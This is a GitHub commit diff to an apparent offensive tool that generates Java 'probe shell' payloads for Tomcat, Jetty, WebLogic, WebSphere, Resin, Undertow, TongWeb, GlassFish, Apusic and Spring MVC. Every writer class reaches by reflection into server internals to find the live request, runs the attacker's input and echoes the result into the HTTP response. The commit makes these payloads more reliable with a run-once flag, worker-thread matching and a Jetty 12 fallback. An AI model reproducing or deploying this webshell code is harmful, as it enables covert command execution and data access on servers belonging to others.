Skip to content

Commit b364212

Browse files
committed
perf: probe shell only run once
1 parent 2b79590 commit b364212

File tree

10 files changed

+103
-7
lines changed

10 files changed

+103
-7
lines changed

generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,13 @@
1010
* @since 2025/8/10
1111
*/
1212
public class ApusicWriter {
13+
14+
private static boolean ok = false;
15+
1316
public ApusicWriter() {
17+
if (ok) {
18+
return;
19+
}
1420
try {
1521
Object table = getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
1622
for (int i = 0; i < Array.getLength(table); i++) {
@@ -41,6 +47,8 @@ public ApusicWriter() {
4147
}
4248
} catch (Throwable e) {
4349
e.printStackTrace();
50+
} finally {
51+
ok = true;
4452
}
4553
}
4654

generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,12 @@
1111
*/
1212
public class GlassFishWriter {
1313

14+
private static boolean ok = false;
15+
1416
public GlassFishWriter() {
17+
if (ok) {
18+
return;
19+
}
1520
try {
1621
try {
1722
// GlassFish3
@@ -54,6 +59,8 @@ public GlassFishWriter() {
5459
}
5560
} catch (Throwable e) {
5661
e.printStackTrace();
62+
} finally {
63+
ok = true;
5764
}
5865
}
5966

generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java

Lines changed: 26 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,30 @@
11
package com.reajason.javaweb.probe.payload.response;
22

3+
import org.eclipse.jetty.util.Callback;
4+
35
import java.io.PrintWriter;
6+
import java.io.StringWriter;
47
import java.lang.reflect.Array;
58
import java.lang.reflect.Field;
69
import java.lang.reflect.Method;
10+
import java.nio.ByteBuffer;
11+
12+
import static java.nio.charset.StandardCharsets.UTF_8;
713

814
/**
915
* @author ReaJason
1016
* @since 2025/8/5
1117
*/
1218
public class JettyWriter {
19+
20+
private static boolean ok = false;
21+
1322
public JettyWriter() {
23+
if (ok) {
24+
return;
25+
}
1426
try {
1527
Thread thread = Thread.currentThread();
16-
System.out.println(thread);
1728
Object threadLocals = getFieldValue(thread, "threadLocals");
1829
Object table = getFieldValue(threadLocals, "table");
1930
for (int i = 0; i < Array.getLength(table); i++) {
@@ -36,26 +47,34 @@ public JettyWriter() {
3647
if (request == null) {
3748
continue;
3849
}
39-
// 在 Jetty12 ee8 ~ ee10 环境下
40-
// request 对象为 org.eclipse.jetty.server.internal.HttpChannelState$ChannelRequest
41-
// 非 ServletRequest 实现,考虑到场景可能比较少,适配代码较多,因此下面暂未适配
4250
String data = getDataFromReq(request);
4351
if (data != null && !data.isEmpty()) {
44-
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
52+
StringWriter sw = new StringWriter();
53+
PrintWriter writer = new PrintWriter(sw);
4554
try {
4655
writer.write(run(data));
4756
} catch (Throwable e) {
4857
e.printStackTrace();
4958
e.printStackTrace(writer);
5059
}
51-
writer.flush();
52-
writer.close();
60+
String result = sw.toString();
61+
System.out.println("result: " + result);
62+
try {
63+
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
64+
resWriter.write(result);
65+
} catch (Exception e) {
66+
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
67+
ByteBuffer content = UTF_8.encode(result);
68+
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
69+
}
5370
return;
5471
}
5572
}
5673
}
5774
} catch (Throwable e) {
5875
e.printStackTrace();
76+
} finally {
77+
ok = true;
5978
}
6079
}
6180

generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,13 @@
99
* @since 2025/8/8
1010
*/
1111
public class ResinWriter {
12+
13+
private static boolean ok = false;
14+
1215
public ResinWriter() {
16+
if (ok) {
17+
return;
18+
}
1319
try {
1420
ClassLoader loader = Thread.currentThread().getContextClassLoader();
1521
Class<?> invocationClazz = loader.loadClass("com.caucho.server.dispatch.ServletInvocation");
@@ -29,6 +35,8 @@ public ResinWriter() {
2935
invokeMethod(response, "close", null, null);
3036
} catch (Throwable e) {
3137
e.printStackTrace();
38+
} finally {
39+
ok = true;
3240
}
3341
}
3442

generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,12 @@
1010
*/
1111
public class SpringWebMvcWriter {
1212

13+
private static boolean ok = false;
14+
1315
public SpringWebMvcWriter() {
16+
if (ok) {
17+
return;
18+
}
1419
try {
1520
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
1621
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes", null, null);
@@ -31,6 +36,8 @@ public SpringWebMvcWriter() {
3136

3237
} catch (Throwable e) {
3338
e.printStackTrace();
39+
} finally {
40+
ok = true;
3441
}
3542
}
3643

generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,13 @@
77
import java.util.Set;
88

99
public class TomcatWriter {
10+
11+
private static boolean ok = false;
12+
1013
public TomcatWriter() {
14+
if (ok) {
15+
return;
16+
}
1117
try {
1218
Set<Thread> threads = Thread.getAllStackTraces().keySet();
1319
for (Thread thread : threads) {
@@ -53,6 +59,10 @@ public TomcatWriter() {
5359
}
5460
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
5561
for (Object processor : processors) {
62+
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
63+
if (!Thread.currentThread().getName().equals(workerThreadName)) {
64+
continue;
65+
}
5666
// org.apache.coyote.Request
5767
Object coyoteRequest = getFieldValue(processor, "req");
5868
// org.apache.catalina.connector.Request
@@ -75,6 +85,8 @@ public TomcatWriter() {
7585
}
7686
} catch (Throwable e) {
7787
e.printStackTrace();
88+
} finally {
89+
ok = true;
7890
}
7991
}
8092

generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,13 @@
77
import java.util.Set;
88

99
public class TongWebWriter {
10+
11+
private static boolean ok = false;
12+
1013
public TongWebWriter() {
14+
if (ok) {
15+
return;
16+
}
1117
try {
1218
Set<Thread> threads = Thread.getAllStackTraces().keySet();
1319
for (Thread thread : threads) {
@@ -23,6 +29,10 @@ public TongWebWriter() {
2329
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
2430
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
2531
for (Object processor : processors) {
32+
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
33+
if (!Thread.currentThread().getName().equals(workerThreadName)) {
34+
continue;
35+
}
2636
Object coyoteRequest = getFieldValue(processor, "req");
2737
if (tryWriteRes(coyoteRequest)) {
2838
return;
@@ -50,6 +60,8 @@ public TongWebWriter() {
5060
}
5161
} catch (Throwable e) {
5262
e.printStackTrace();
63+
} finally {
64+
ok = true;
5365
}
5466
}
5567

generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,13 @@
1010
* @since 2025/8/8
1111
*/
1212
public class UndertowWriter {
13+
14+
private static boolean ok = false;
15+
1316
public UndertowWriter() {
17+
if (ok) {
18+
return;
19+
}
1420
try {
1521
Thread thread = Thread.currentThread();
1622
Object threadLocals = getFieldValue(thread, "threadLocals");
@@ -38,6 +44,8 @@ public UndertowWriter() {
3844
}
3945
} catch (Throwable e) {
4046
e.printStackTrace();
47+
} finally {
48+
ok = true;
4149
}
4250
}
4351

generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,13 @@
99
* @since 2025/8/10
1010
*/
1111
public class WebLogicWriter {
12+
13+
private static boolean ok = false;
14+
1215
public WebLogicWriter() {
16+
if (ok) {
17+
return;
18+
}
1319
try {
1420
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
1521
Object request = null;
@@ -45,6 +51,8 @@ public WebLogicWriter() {
4551
}
4652
} catch (Throwable e) {
4753
e.printStackTrace();
54+
} finally {
55+
ok = true;
4856
}
4957
}
5058

generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,12 @@
1212
*/
1313
public class WebSphereWriter {
1414

15+
private static boolean ok = false;
16+
1517
public WebSphereWriter() {
18+
if (ok) {
19+
return;
20+
}
1621
try {
1722
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
1823
for (Object wsThreadLocal : wsThreadLocals) {
@@ -42,6 +47,8 @@ public WebSphereWriter() {
4247
}
4348
} catch (Throwable e) {
4449
e.printStackTrace();
50+
} finally {
51+
ok = true;
4552
}
4653
}
4754

0 commit comments

Comments
 (0)